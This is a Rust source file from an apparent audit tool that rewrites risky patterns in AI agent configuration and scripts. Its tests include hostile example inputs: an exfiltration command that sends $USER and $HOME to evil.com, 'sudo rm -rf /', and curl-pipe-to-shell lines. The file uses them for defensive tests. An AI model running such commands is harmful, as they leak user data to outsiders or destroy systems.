Skip to main content

cc_audit/
fix.rs

1use crate::error::{AuditError, Result};
2use crate::rules::Finding;
3use std::collections::HashMap;
4use std::fs;
5use std::path::Path;
6
7/// Represents a potential fix for a finding
8#[derive(Debug, Clone)]
9pub struct Fix {
10    pub finding_id: String,
11    pub file_path: String,
12    pub line: usize,
13    pub description: String,
14    pub original: String,
15    pub replacement: String,
16}
17
18/// Result of applying fixes
19#[derive(Debug)]
20pub struct FixResult {
21    pub applied: Vec<Fix>,
22    pub skipped: Vec<(Fix, String)>, // Fix and reason for skipping
23    pub errors: Vec<(Fix, String)>,  // Fix and error message
24}
25
26/// Auto-fix engine for security findings
27pub struct AutoFixer {
28    dry_run: bool,
29}
30
31impl AutoFixer {
32    pub fn new(dry_run: bool) -> Self {
33        Self { dry_run }
34    }
35
36    /// Generate fixes for the given findings
37    pub fn generate_fixes(&self, findings: &[Finding]) -> Vec<Fix> {
38        let mut fixes = Vec::new();
39
40        for finding in findings {
41            if let Some(fix) = self.generate_fix(finding) {
42                fixes.push(fix);
43            }
44        }
45
46        fixes
47    }
48
49    /// Generate a fix for a single finding
50    fn generate_fix(&self, finding: &Finding) -> Option<Fix> {
51        match finding.id.as_str() {
52            // OP-001: Wildcard tool permission -> Restrict to specific tools
53            "OP-001" => self.fix_wildcard_permission(finding),
54
55            // PE-001: sudo usage -> Remove sudo
56            "PE-001" => self.fix_sudo_usage(finding),
57
58            // SC-001: Curl pipe bash -> Download and verify
59            "SC-001" => self.fix_curl_pipe_bash(finding),
60
61            // EX-001: Environment variable exfiltration -> Mask sensitive vars
62            "EX-001" => self.fix_env_exfiltration(finding),
63
64            // PI-001: Command injection via backticks -> Use safer alternative
65            "PI-001" => self.fix_backtick_injection(finding),
66
67            // DP-001: Hardcoded API key -> Use environment variable
68            "DP-001" | "DP-002" | "DP-003" | "DP-004" | "DP-005" | "DP-006" => {
69                self.fix_hardcoded_secret(finding)
70            }
71
72            // OP-009: Bash wildcard permission -> Restrict to specific commands
73            "OP-009" => self.fix_bash_wildcard(finding),
74
75            _ => None,
76        }
77    }
78
79    fn fix_wildcard_permission(&self, finding: &Finding) -> Option<Fix> {
80        // Replace allowed-tools: * with a safe default
81        if finding.code.contains("allowed-tools: *")
82            || finding.code.contains("allowed-tools: \"*\"")
83        {
84            let replacement = finding
85                .code
86                .replace("allowed-tools: *", "allowed-tools: Read, Grep, Glob")
87                .replace("allowed-tools: \"*\"", "allowed-tools: Read, Grep, Glob");
88
89            return Some(Fix {
90                finding_id: finding.id.clone(),
91                file_path: finding.location.file.clone(),
92                line: finding.location.line,
93                description: "Replace wildcard permission with safe defaults".to_string(),
94                original: finding.code.clone(),
95                replacement,
96            });
97        }
98
99        // Handle allowedTools in JSON
100        if finding.code.contains("\"allowedTools\"")
101            && (finding.code.contains("\"*\"") || finding.code.contains(": \"*\""))
102        {
103            let replacement = finding
104                .code
105                .replace("\"*\"", "\"Read, Grep, Glob\"")
106                .replace(": \"*\"", ": \"Read, Grep, Glob\"");
107
108            return Some(Fix {
109                finding_id: finding.id.clone(),
110                file_path: finding.location.file.clone(),
111                line: finding.location.line,
112                description: "Replace wildcard permission with safe defaults".to_string(),
113                original: finding.code.clone(),
114                replacement,
115            });
116        }
117
118        None
119    }
120
121    fn fix_sudo_usage(&self, finding: &Finding) -> Option<Fix> {
122        // Remove sudo from the command
123        if finding.code.contains("sudo ") {
124            let replacement = finding.code.replace("sudo ", "");
125
126            return Some(Fix {
127                finding_id: finding.id.clone(),
128                file_path: finding.location.file.clone(),
129                line: finding.location.line,
130                description: "Remove sudo privilege escalation".to_string(),
131                original: finding.code.clone(),
132                replacement,
133            });
134        }
135
136        None
137    }
138
139    fn fix_curl_pipe_bash(&self, finding: &Finding) -> Option<Fix> {
140        // Convert curl | bash to safer download-then-verify pattern
141        if finding.code.contains("| bash") || finding.code.contains("| sh") {
142            // Extract URL from curl command
143            let code = &finding.code;
144            let url_start = code.find("http");
145            if let Some(start) = url_start {
146                let url_end = code[start..]
147                    .find(|c: char| c.is_whitespace() || c == '"' || c == '\'')
148                    .map(|i| start + i)
149                    .unwrap_or(code.len());
150                let url = &code[start..url_end];
151
152                let replacement = format!(
153                    "# Download script first, verify before running\ncurl -o /tmp/install.sh {}\n# Review: cat /tmp/install.sh\n# Then run: sh /tmp/install.sh",
154                    url
155                );
156
157                return Some(Fix {
158                    finding_id: finding.id.clone(),
159                    file_path: finding.location.file.clone(),
160                    line: finding.location.line,
161                    description: "Replace curl|bash with download-then-verify pattern".to_string(),
162                    original: finding.code.clone(),
163                    replacement,
164                });
165            }
166        }
167
168        None
169    }
170
171    fn fix_env_exfiltration(&self, finding: &Finding) -> Option<Fix> {
172        // Mask sensitive environment variables
173        if finding.code.contains("$HOME")
174            || finding.code.contains("$USER")
175            || finding.code.contains("$PATH")
176        {
177            let replacement = finding
178                .code
179                .replace("$HOME", "[REDACTED]")
180                .replace("$USER", "[REDACTED]")
181                .replace("$PATH", "[REDACTED]");
182
183            return Some(Fix {
184                finding_id: finding.id.clone(),
185                file_path: finding.location.file.clone(),
186                line: finding.location.line,
187                description: "Mask sensitive environment variables".to_string(),
188                original: finding.code.clone(),
189                replacement,
190            });
191        }
192
193        None
194    }
195
196    fn fix_backtick_injection(&self, finding: &Finding) -> Option<Fix> {
197        // Replace backticks with safer $() syntax
198        if finding.code.contains('`') {
199            // Count backticks to ensure pairs
200            let backtick_count = finding.code.matches('`').count();
201            if backtick_count >= 2 && backtick_count.is_multiple_of(2) {
202                let mut in_backtick = false;
203                let mut result = String::new();
204
205                for c in finding.code.chars() {
206                    if c == '`' {
207                        if in_backtick {
208                            result.push(')');
209                        } else {
210                            result.push_str("$(");
211                        }
212                        in_backtick = !in_backtick;
213                    } else {
214                        result.push(c);
215                    }
216                }
217
218                return Some(Fix {
219                    finding_id: finding.id.clone(),
220                    file_path: finding.location.file.clone(),
221                    line: finding.location.line,
222                    description: "Replace backticks with safer $() syntax".to_string(),
223                    original: finding.code.clone(),
224                    replacement: result,
225                });
226            }
227        }
228
229        None
230    }
231
232    fn fix_hardcoded_secret(&self, finding: &Finding) -> Option<Fix> {
233        // Replace hardcoded secrets with environment variable references
234        // This is a simple heuristic - in practice, more sophisticated detection is needed
235
236        // Pattern: key = "value" or key: "value"
237        let code = &finding.code;
238
239        // Detect API key patterns
240        if code.contains("api_key") || code.contains("apiKey") || code.contains("API_KEY") {
241            // Simplified replacement - just add a comment to remind user to fix
242            return Some(Fix {
243                finding_id: finding.id.clone(),
244                file_path: finding.location.file.clone(),
245                line: finding.location.line,
246                description: "Replace hardcoded secret with environment variable".to_string(),
247                original: finding.code.clone(),
248                replacement: format!(
249                    "# TODO: Move secret to environment variable\n# {}",
250                    finding.code
251                ),
252            });
253        }
254
255        None
256    }
257
258    fn fix_bash_wildcard(&self, finding: &Finding) -> Option<Fix> {
259        // Replace Bash(*) with specific allowed commands
260        if finding.code.contains("Bash(*)") || finding.code.contains("Bash( * )") {
261            let replacement = finding
262                .code
263                .replace("Bash(*)", "Bash(ls:*, cat:*, echo:*)")
264                .replace("Bash( * )", "Bash(ls:*, cat:*, echo:*)");
265
266            return Some(Fix {
267                finding_id: finding.id.clone(),
268                file_path: finding.location.file.clone(),
269                line: finding.location.line,
270                description: "Replace Bash wildcard with specific allowed commands".to_string(),
271                original: finding.code.clone(),
272                replacement,
273            });
274        }
275
276        None
277    }
278
279    /// Apply fixes to files
280    pub fn apply_fixes(&self, fixes: &[Fix]) -> FixResult {
281        let mut result = FixResult {
282            applied: Vec::new(),
283            skipped: Vec::new(),
284            errors: Vec::new(),
285        };
286
287        // Group fixes by file
288        let mut fixes_by_file: HashMap<String, Vec<&Fix>> = HashMap::new();
289        for fix in fixes {
290            fixes_by_file
291                .entry(fix.file_path.clone())
292                .or_default()
293                .push(fix);
294        }
295
296        for (file_path, file_fixes) in fixes_by_file {
297            match self.apply_fixes_to_file(&file_path, &file_fixes) {
298                Ok(applied) => {
299                    for fix in applied {
300                        result.applied.push(fix.clone());
301                    }
302                }
303                Err(e) => {
304                    for fix in file_fixes {
305                        result.errors.push((fix.clone(), e.to_string()));
306                    }
307                }
308            }
309        }
310
311        result
312    }
313
314    fn apply_fixes_to_file(&self, file_path: &str, fixes: &[&Fix]) -> Result<Vec<Fix>> {
315        let path = Path::new(file_path);
316
317        // Read the file
318        let content = fs::read_to_string(path).map_err(|e| AuditError::ReadError {
319            path: file_path.to_string(),
320            source: e,
321        })?;
322
323        let lines: Vec<&str> = content.lines().collect();
324        let mut new_lines: Vec<String> = lines.iter().map(|s| s.to_string()).collect();
325        let mut applied = Vec::new();
326
327        // Sort fixes by line number in reverse order to avoid index shifting
328        let mut sorted_fixes: Vec<&&Fix> = fixes.iter().collect();
329        sorted_fixes.sort_by(|a, b| b.line.cmp(&a.line));
330
331        for fix in sorted_fixes {
332            if fix.line > 0 && fix.line <= new_lines.len() {
333                let line_idx = fix.line - 1;
334                let current_line = &new_lines[line_idx];
335
336                // Check if the line still matches
337                if current_line.contains(&fix.original)
338                    || current_line.trim() == fix.original.trim()
339                {
340                    if !self.dry_run {
341                        // Apply the fix
342                        new_lines[line_idx] = current_line.replace(&fix.original, &fix.replacement);
343                    }
344                    applied.push((*fix).clone());
345                }
346            }
347        }
348
349        // Write back to file if not dry run
350        if !self.dry_run && !applied.is_empty() {
351            let new_content = new_lines.join("\n");
352            fs::write(path, new_content).map_err(|e| AuditError::ReadError {
353                path: file_path.to_string(),
354                source: e,
355            })?;
356        }
357
358        Ok(applied)
359    }
360}
361
362impl Fix {
363    /// Format fix for terminal display
364    pub fn format_terminal(&self, dry_run: bool) -> String {
365        use colored::Colorize;
366
367        let mut output = String::new();
368
369        let prefix = if dry_run { "[DRY RUN] " } else { "" };
370
371        output.push_str(&format!(
372            "{}{} {} at {}:{}\n",
373            prefix.yellow(),
374            "Fix:".cyan().bold(),
375            self.description,
376            self.file_path,
377            self.line
378        ));
379
380        output.push_str(&format!("  {} {}\n", "-".red(), self.original.trim()));
381        output.push_str(&format!("  {} {}\n", "+".green(), self.replacement.trim()));
382
383        output
384    }
385}
386
387impl FixResult {
388    /// Format result for terminal display
389    pub fn format_terminal(&self, dry_run: bool) -> String {
390        use colored::Colorize;
391
392        let mut output = String::new();
393
394        if self.applied.is_empty() && self.skipped.is_empty() && self.errors.is_empty() {
395            output.push_str(&"No fixable issues found.\n".yellow().to_string());
396            return output;
397        }
398
399        let prefix = if dry_run { "[DRY RUN] " } else { "" };
400
401        if !self.applied.is_empty() {
402            output.push_str(&format!(
403                "\n{}{}\n",
404                prefix.yellow(),
405                if dry_run {
406                    "Would apply fixes:".cyan().bold()
407                } else {
408                    "Applied fixes:".green().bold()
409                }
410            ));
411
412            for fix in &self.applied {
413                output.push_str(&fix.format_terminal(dry_run));
414                output.push('\n');
415            }
416        }
417
418        if !self.skipped.is_empty() {
419            output.push_str(&format!("\n{}\n", "Skipped:".yellow().bold()));
420            for (fix, reason) in &self.skipped {
421                output.push_str(&format!(
422                    "  {} {} - {}\n",
423                    "~".yellow(),
424                    fix.description,
425                    reason
426                ));
427            }
428        }
429
430        if !self.errors.is_empty() {
431            output.push_str(&format!("\n{}\n", "Errors:".red().bold()));
432            for (fix, error) in &self.errors {
433                output.push_str(&format!(
434                    "  {} {} - {}\n",
435                    "!".red(),
436                    fix.description,
437                    error
438                ));
439            }
440        }
441
442        output.push_str(&format!(
443            "\n{}: {} applied, {} skipped, {} errors\n",
444            if dry_run { "Summary" } else { "Result" },
445            self.applied.len(),
446            self.skipped.len(),
447            self.errors.len()
448        ));
449
450        output
451    }
452}
453
454#[cfg(test)]
455mod tests {
456    use super::*;
457    use crate::rules::{Category, Confidence, Location, Severity};
458    use tempfile::TempDir;
459
460    fn create_test_finding(id: &str, code: &str, file: &str, line: usize) -> Finding {
461        Finding {
462            id: id.to_string(),
463            severity: Severity::High,
464            category: Category::Overpermission,
465            confidence: Confidence::Firm,
466            name: "Test Finding".to_string(),
467            location: Location {
468                file: file.to_string(),
469                line,
470                column: None,
471            },
472            code: code.to_string(),
473            message: "Test message".to_string(),
474            recommendation: "Test recommendation".to_string(),
475            fix_hint: None,
476            cwe_ids: vec![],
477            rule_severity: None,
478            client: None,
479            context: None,
480        }
481    }
482
483    #[test]
484    fn test_fix_wildcard_permission() {
485        let fixer = AutoFixer::new(true);
486        let finding = create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5);
487
488        let fix = fixer.generate_fix(&finding);
489        assert!(fix.is_some());
490
491        let fix = fix.unwrap();
492        assert!(fix.replacement.contains("Read, Grep, Glob"));
493    }
494
495    #[test]
496    fn test_fix_sudo_usage() {
497        let fixer = AutoFixer::new(true);
498        let finding = create_test_finding("PE-001", "sudo apt install", "script.sh", 10);
499
500        let fix = fixer.generate_fix(&finding);
501        assert!(fix.is_some());
502
503        let fix = fix.unwrap();
504        assert!(!fix.replacement.contains("sudo"));
505        assert!(fix.replacement.contains("apt install"));
506    }
507
508    #[test]
509    fn test_fix_bash_wildcard() {
510        let fixer = AutoFixer::new(true);
511        let finding = create_test_finding("OP-009", "Bash(*)", "settings.json", 15);
512
513        let fix = fixer.generate_fix(&finding);
514        assert!(fix.is_some());
515
516        let fix = fix.unwrap();
517        assert!(fix.replacement.contains("ls:*"));
518    }
519
520    #[test]
521    fn test_apply_fixes_dry_run() {
522        let temp_dir = TempDir::new().unwrap();
523        let test_file = temp_dir.path().join("test.md");
524        fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
525
526        let fixer = AutoFixer::new(true); // dry run
527        let finding = create_test_finding(
528            "OP-001",
529            "allowed-tools: *",
530            &test_file.display().to_string(),
531            2,
532        );
533
534        let fixes = fixer.generate_fixes(&[finding]);
535        let result = fixer.apply_fixes(&fixes);
536
537        assert_eq!(result.applied.len(), 1);
538
539        // File should not be modified in dry run
540        let content = fs::read_to_string(&test_file).unwrap();
541        assert!(content.contains("allowed-tools: *"));
542    }
543
544    #[test]
545    fn test_apply_fixes_real() {
546        let temp_dir = TempDir::new().unwrap();
547        let test_file = temp_dir.path().join("test.md");
548        fs::write(&test_file, "---\nallowed-tools: *\n---\n").unwrap();
549
550        let fixer = AutoFixer::new(false); // real run
551        let finding = create_test_finding(
552            "OP-001",
553            "allowed-tools: *",
554            &test_file.display().to_string(),
555            2,
556        );
557
558        let fixes = fixer.generate_fixes(&[finding]);
559        let result = fixer.apply_fixes(&fixes);
560
561        assert_eq!(result.applied.len(), 1);
562
563        // File should be modified
564        let content = fs::read_to_string(&test_file).unwrap();
565        assert!(content.contains("Read, Grep, Glob"));
566        assert!(!content.contains("allowed-tools: *"));
567    }
568
569    #[test]
570    fn test_no_fix_available() {
571        let fixer = AutoFixer::new(true);
572        let finding = create_test_finding("UNKNOWN-001", "some code", "file.md", 1);
573
574        let fix = fixer.generate_fix(&finding);
575        assert!(fix.is_none());
576    }
577
578    #[test]
579    fn test_fix_format_terminal() {
580        let fix = Fix {
581            finding_id: "OP-001".to_string(),
582            file_path: "SKILL.md".to_string(),
583            line: 5,
584            description: "Test fix".to_string(),
585            original: "old code".to_string(),
586            replacement: "new code".to_string(),
587        };
588
589        let output = fix.format_terminal(false);
590        assert!(output.contains("Fix:"));
591        assert!(output.contains("Test fix"));
592        assert!(output.contains("old code"));
593        assert!(output.contains("new code"));
594    }
595
596    #[test]
597    fn test_fix_result_format_terminal() {
598        let fix = Fix {
599            finding_id: "OP-001".to_string(),
600            file_path: "SKILL.md".to_string(),
601            line: 5,
602            description: "Test fix".to_string(),
603            original: "old code".to_string(),
604            replacement: "new code".to_string(),
605        };
606
607        let result = FixResult {
608            applied: vec![fix],
609            skipped: vec![],
610            errors: vec![],
611        };
612
613        let output = result.format_terminal(true);
614        assert!(output.contains("DRY RUN"));
615        assert!(output.contains("1 applied"));
616    }
617
618    #[test]
619    fn test_fix_curl_pipe_bash() {
620        let fixer = AutoFixer::new(true);
621        let finding = create_test_finding(
622            "SC-001",
623            "curl http://example.com/install.sh | bash",
624            "run.sh",
625            1,
626        );
627
628        let fix = fixer.generate_fix(&finding);
629        assert!(fix.is_some());
630
631        let fix = fix.unwrap();
632        assert!(fix.replacement.contains("Download script first"));
633        assert!(fix.replacement.contains("/tmp/install.sh"));
634    }
635
636    #[test]
637    fn test_fix_curl_pipe_sh() {
638        let fixer = AutoFixer::new(true);
639        let finding =
640            create_test_finding("SC-001", "curl https://get.sdkman.io | sh", "install.sh", 1);
641
642        let fix = fixer.generate_fix(&finding);
643        assert!(fix.is_some());
644
645        let fix = fix.unwrap();
646        assert!(fix.replacement.contains("Download script first"));
647    }
648
649    #[test]
650    fn test_fix_env_exfiltration() {
651        let fixer = AutoFixer::new(true);
652        let finding = create_test_finding(
653            "EX-001",
654            "curl http://evil.com?user=$USER&home=$HOME",
655            "exfil.sh",
656            1,
657        );
658
659        let fix = fixer.generate_fix(&finding);
660        assert!(fix.is_some());
661
662        let fix = fix.unwrap();
663        assert!(fix.replacement.contains("[REDACTED]"));
664        assert!(!fix.replacement.contains("$USER"));
665        assert!(!fix.replacement.contains("$HOME"));
666    }
667
668    #[test]
669    fn test_fix_env_exfiltration_path() {
670        let fixer = AutoFixer::new(true);
671        let finding = create_test_finding("EX-001", "echo $PATH", "leak.sh", 1);
672
673        let fix = fixer.generate_fix(&finding);
674        assert!(fix.is_some());
675
676        let fix = fix.unwrap();
677        assert!(fix.replacement.contains("[REDACTED]"));
678    }
679
680    #[test]
681    fn test_fix_backtick_injection() {
682        let fixer = AutoFixer::new(true);
683        let finding = create_test_finding("PI-001", "result=`cmd arg`", "script.sh", 1);
684
685        let fix = fixer.generate_fix(&finding);
686        assert!(fix.is_some());
687
688        let fix = fix.unwrap();
689        assert!(fix.replacement.contains("$(cmd arg)"));
690        assert!(!fix.replacement.contains('`'));
691    }
692
693    #[test]
694    fn test_fix_backtick_injection_multiple() {
695        let fixer = AutoFixer::new(true);
696        let finding = create_test_finding("PI-001", "echo `foo` and `bar`", "script.sh", 1);
697
698        let fix = fixer.generate_fix(&finding);
699        assert!(fix.is_some());
700
701        let fix = fix.unwrap();
702        assert!(fix.replacement.contains("$(foo)"));
703        assert!(fix.replacement.contains("$(bar)"));
704    }
705
706    #[test]
707    fn test_fix_backtick_injection_odd_count() {
708        let fixer = AutoFixer::new(true);
709        let finding = create_test_finding("PI-001", "echo ` only one backtick", "script.sh", 1);
710
711        let fix = fixer.generate_fix(&finding);
712        assert!(fix.is_none());
713    }
714
715    #[test]
716    fn test_fix_hardcoded_secret() {
717        let fixer = AutoFixer::new(true);
718        let finding = create_test_finding("DP-001", "api_key = \"sk-1234567890\"", "config.py", 1);
719
720        let fix = fixer.generate_fix(&finding);
721        assert!(fix.is_some());
722
723        let fix = fix.unwrap();
724        assert!(fix.replacement.contains("TODO"));
725        assert!(fix.replacement.contains("environment variable"));
726    }
727
728    #[test]
729    fn test_fix_hardcoded_secret_api_key_variant() {
730        let fixer = AutoFixer::new(true);
731        let finding = create_test_finding("DP-002", "apiKey: 'secret123'", "config.yaml", 1);
732
733        let fix = fixer.generate_fix(&finding);
734        assert!(fix.is_some());
735    }
736
737    #[test]
738    fn test_fix_hardcoded_secret_api_key_upper() {
739        let fixer = AutoFixer::new(true);
740        let finding = create_test_finding("DP-003", "const API_KEY = 'test'", "constants.js", 1);
741
742        let fix = fixer.generate_fix(&finding);
743        assert!(fix.is_some());
744    }
745
746    #[test]
747    fn test_fix_wildcard_permission_json() {
748        let fixer = AutoFixer::new(true);
749        let finding = create_test_finding("OP-001", "\"allowedTools\": \"*\"", "settings.json", 5);
750
751        let fix = fixer.generate_fix(&finding);
752        assert!(fix.is_some());
753
754        let fix = fix.unwrap();
755        assert!(fix.replacement.contains("Read, Grep, Glob"));
756    }
757
758    #[test]
759    fn test_fix_wildcard_permission_quoted() {
760        let fixer = AutoFixer::new(true);
761        let finding = create_test_finding("OP-001", "allowed-tools: \"*\"", "SKILL.md", 5);
762
763        let fix = fixer.generate_fix(&finding);
764        assert!(fix.is_some());
765
766        let fix = fix.unwrap();
767        assert!(fix.replacement.contains("Read, Grep, Glob"));
768    }
769
770    #[test]
771    fn test_fix_bash_wildcard_with_spaces() {
772        let fixer = AutoFixer::new(true);
773        let finding = create_test_finding("OP-009", "Bash( * )", "settings.json", 15);
774
775        let fix = fixer.generate_fix(&finding);
776        assert!(fix.is_some());
777
778        let fix = fix.unwrap();
779        assert!(fix.replacement.contains("ls:*"));
780    }
781
782    #[test]
783    fn test_generate_fixes_multiple() {
784        let fixer = AutoFixer::new(true);
785        let findings = vec![
786            create_test_finding("OP-001", "allowed-tools: *", "SKILL.md", 5),
787            create_test_finding("PE-001", "sudo rm -rf /", "script.sh", 10),
788            create_test_finding("OP-009", "Bash(*)", "settings.json", 15),
789        ];
790
791        let fixes = fixer.generate_fixes(&findings);
792        assert_eq!(fixes.len(), 3);
793    }
794
795    #[test]
796    fn test_fix_result_format_terminal_no_fixes() {
797        let result = FixResult {
798            applied: vec![],
799            skipped: vec![],
800            errors: vec![],
801        };
802
803        let output = result.format_terminal(false);
804        assert!(output.contains("No fixable issues found"));
805    }
806
807    #[test]
808    fn test_fix_result_format_terminal_with_skipped() {
809        let fix = Fix {
810            finding_id: "OP-001".to_string(),
811            file_path: "SKILL.md".to_string(),
812            line: 5,
813            description: "Test fix".to_string(),
814            original: "old code".to_string(),
815            replacement: "new code".to_string(),
816        };
817
818        let result = FixResult {
819            applied: vec![],
820            skipped: vec![(fix, "Code changed".to_string())],
821            errors: vec![],
822        };
823
824        let output = result.format_terminal(false);
825        assert!(output.contains("Skipped:"));
826        assert!(output.contains("Code changed"));
827    }
828
829    #[test]
830    fn test_fix_result_format_terminal_with_errors() {
831        let fix = Fix {
832            finding_id: "OP-001".to_string(),
833            file_path: "SKILL.md".to_string(),
834            line: 5,
835            description: "Test fix".to_string(),
836            original: "old code".to_string(),
837            replacement: "new code".to_string(),
838        };
839
840        let result = FixResult {
841            applied: vec![],
842            skipped: vec![],
843            errors: vec![(fix, "File not found".to_string())],
844        };
845
846        let output = result.format_terminal(false);
847        assert!(output.contains("Errors:"));
848        assert!(output.contains("File not found"));
849    }
850
851    #[test]
852    fn test_fix_format_terminal_dry_run() {
853        let fix = Fix {
854            finding_id: "OP-001".to_string(),
855            file_path: "SKILL.md".to_string(),
856            line: 5,
857            description: "Test fix".to_string(),
858            original: "old code".to_string(),
859            replacement: "new code".to_string(),
860        };
861
862        let output = fix.format_terminal(true);
863        assert!(output.contains("DRY RUN"));
864    }
865
866    #[test]
867    fn test_fix_result_format_terminal_applied_not_dry_run() {
868        let fix = Fix {
869            finding_id: "OP-001".to_string(),
870            file_path: "SKILL.md".to_string(),
871            line: 5,
872            description: "Test fix".to_string(),
873            original: "old code".to_string(),
874            replacement: "new code".to_string(),
875        };
876
877        let result = FixResult {
878            applied: vec![fix],
879            skipped: vec![],
880            errors: vec![],
881        };
882
883        let output = result.format_terminal(false);
884        assert!(output.contains("Applied fixes:"));
885        assert!(!output.contains("DRY RUN"));
886    }
887
888    #[test]
889    fn test_apply_fixes_to_nonexistent_file() {
890        let fixer = AutoFixer::new(false);
891        let finding =
892            create_test_finding("OP-001", "allowed-tools: *", "/nonexistent/path/file.md", 2);
893
894        let fixes = fixer.generate_fixes(&[finding]);
895        let result = fixer.apply_fixes(&fixes);
896
897        assert!(result.applied.is_empty());
898        assert!(!result.errors.is_empty());
899    }
900
901    #[test]
902    fn test_apply_fixes_line_mismatch() {
903        let temp_dir = TempDir::new().unwrap();
904        let test_file = temp_dir.path().join("test.md");
905        fs::write(&test_file, "---\nsomething-else: value\n---\n").unwrap();
906
907        let fixer = AutoFixer::new(false);
908        let finding = create_test_finding(
909            "OP-001",
910            "allowed-tools: *",
911            &test_file.display().to_string(),
912            2,
913        );
914
915        let fixes = fixer.generate_fixes(&[finding]);
916        let result = fixer.apply_fixes(&fixes);
917
918        assert!(result.applied.is_empty());
919    }
920
921    #[test]
922    fn test_fix_debug_trait() {
923        let fix = Fix {
924            finding_id: "OP-001".to_string(),
925            file_path: "SKILL.md".to_string(),
926            line: 5,
927            description: "Test fix".to_string(),
928            original: "old".to_string(),
929            replacement: "new".to_string(),
930        };
931
932        let debug_str = format!("{:?}", fix);
933        assert!(debug_str.contains("Fix"));
934        assert!(debug_str.contains("OP-001"));
935    }
936
937    #[test]
938    fn test_fix_clone_trait() {
939        let fix = Fix {
940            finding_id: "OP-001".to_string(),
941            file_path: "SKILL.md".to_string(),
942            line: 5,
943            description: "Test fix".to_string(),
944            original: "old".to_string(),
945            replacement: "new".to_string(),
946        };
947
948        let cloned = fix.clone();
949        assert_eq!(fix.finding_id, cloned.finding_id);
950        assert_eq!(fix.file_path, cloned.file_path);
951    }
952
953    #[test]
954    fn test_fix_result_debug_trait() {
955        let result = FixResult {
956            applied: vec![],
957            skipped: vec![],
958            errors: vec![],
959        };
960
961        let debug_str = format!("{:?}", result);
962        assert!(debug_str.contains("FixResult"));
963    }
964
965    #[test]
966    fn test_fix_no_match_env_exfiltration() {
967        let fixer = AutoFixer::new(true);
968        let finding = create_test_finding("EX-001", "echo hello world", "script.sh", 1);
969
970        let fix = fixer.generate_fix(&finding);
971        assert!(fix.is_none());
972    }
973
974    #[test]
975    fn test_fix_no_match_sudo() {
976        let fixer = AutoFixer::new(true);
977        let finding = create_test_finding("PE-001", "apt install vim", "script.sh", 1);
978
979        let fix = fixer.generate_fix(&finding);
980        assert!(fix.is_none());
981    }
982
983    #[test]
984    fn test_fix_no_match_curl_pipe() {
985        let fixer = AutoFixer::new(true);
986        let finding = create_test_finding("SC-001", "curl http://example.com", "script.sh", 1);
987
988        let fix = fixer.generate_fix(&finding);
989        assert!(fix.is_none());
990    }
991
992    #[test]
993    fn test_fix_no_match_wildcard() {
994        let fixer = AutoFixer::new(true);
995        let finding = create_test_finding("OP-001", "allowed-tools: Read, Write", "SKILL.md", 1);
996
997        let fix = fixer.generate_fix(&finding);
998        assert!(fix.is_none());
999    }
1000
1001    #[test]
1002    fn test_fix_no_match_bash_wildcard() {
1003        let fixer = AutoFixer::new(true);
1004        let finding = create_test_finding("OP-009", "Bash(ls:*, cat:*)", "settings.json", 1);
1005
1006        let fix = fixer.generate_fix(&finding);
1007        assert!(fix.is_none());
1008    }
1009
1010    #[test]
1011    fn test_fix_no_match_hardcoded_secret() {
1012        let fixer = AutoFixer::new(true);
1013        let finding = create_test_finding("DP-001", "password = 'secret'", "config.py", 1);
1014
1015        let fix = fixer.generate_fix(&finding);
1016        assert!(fix.is_none());
1017    }
1018
1019    #[test]
1020    fn test_apply_fixes_out_of_bounds_line() {
1021        let temp_dir = TempDir::new().unwrap();
1022        let test_file = temp_dir.path().join("test.md");
1023        fs::write(&test_file, "line1\nline2\n").unwrap();
1024
1025        let fixer = AutoFixer::new(false);
1026
1027        let fix = Fix {
1028            finding_id: "OP-001".to_string(),
1029            file_path: test_file.display().to_string(),
1030            line: 100,
1031            description: "Test fix".to_string(),
1032            original: "something".to_string(),
1033            replacement: "other".to_string(),
1034        };
1035
1036        let result = fixer.apply_fixes(&[fix]);
1037        assert!(result.applied.is_empty());
1038    }
1039
1040    #[test]
1041    fn test_apply_fixes_line_zero() {
1042        let temp_dir = TempDir::new().unwrap();
1043        let test_file = temp_dir.path().join("test.md");
1044        fs::write(&test_file, "line1\nline2\n").unwrap();
1045
1046        let fixer = AutoFixer::new(false);
1047
1048        let fix = Fix {
1049            finding_id: "OP-001".to_string(),
1050            file_path: test_file.display().to_string(),
1051            line: 0,
1052            description: "Test fix".to_string(),
1053            original: "something".to_string(),
1054            replacement: "other".to_string(),
1055        };
1056
1057        let result = fixer.apply_fixes(&[fix]);
1058        assert!(result.applied.is_empty());
1059    }
1060
1061    #[test]
1062    fn test_fix_dp_004_hardcoded_secret() {
1063        let fixer = AutoFixer::new(true);
1064        let finding = create_test_finding("DP-004", "api_key = 'test'", "config.py", 1);
1065
1066        let fix = fixer.generate_fix(&finding);
1067        assert!(fix.is_some());
1068    }
1069
1070    #[test]
1071    fn test_fix_dp_005_hardcoded_secret() {
1072        let fixer = AutoFixer::new(true);
1073        let finding = create_test_finding("DP-005", "apiKey = 'test'", "config.js", 1);
1074
1075        let fix = fixer.generate_fix(&finding);
1076        assert!(fix.is_some());
1077    }
1078
1079    #[test]
1080    fn test_fix_dp_006_hardcoded_secret() {
1081        let fixer = AutoFixer::new(true);
1082        let finding = create_test_finding("DP-006", "API_KEY = 'test'", "config.rb", 1);
1083
1084        let fix = fixer.generate_fix(&finding);
1085        assert!(fix.is_some());
1086    }
1087
1088    #[test]
1089    fn test_fix_wildcard_allowed_tools() {
1090        let fixer = AutoFixer::new(true);
1091        let code = r#"{"allowedTools": "*"}"#;
1092        let finding = create_test_finding("OP-001", code, "mcp.json", 1);
1093
1094        let fix = fixer.generate_fix(&finding);
1095        assert!(fix.is_some());
1096        let fix = fix.unwrap();
1097        assert!(fix.replacement.contains("Read, Grep, Glob"));
1098    }
1099
1100    #[test]
1101    fn test_fix_wildcard_allowed_tools_colon_format() {
1102        let fixer = AutoFixer::new(true);
1103        let code = r#"{"allowedTools": "*"}"#;
1104        let finding = create_test_finding("OP-001", code, "settings.json", 1);
1105
1106        let fix = fixer.generate_fix(&finding);
1107        assert!(fix.is_some());
1108    }
1109
1110    #[test]
1111    fn test_fix_curl_pipe_bash_with_download() {
1112        let fixer = AutoFixer::new(true);
1113        let code = "curl -sL https://example.com/script.sh | bash";
1114        let finding = create_test_finding("PE-001", code, "install.sh", 1);
1115
1116        let fix = fixer.generate_fix(&finding);
1117        // This may or may not have a fix depending on pattern matching
1118        // The test exercises the code path
1119        let _ = fix;
1120    }
1121}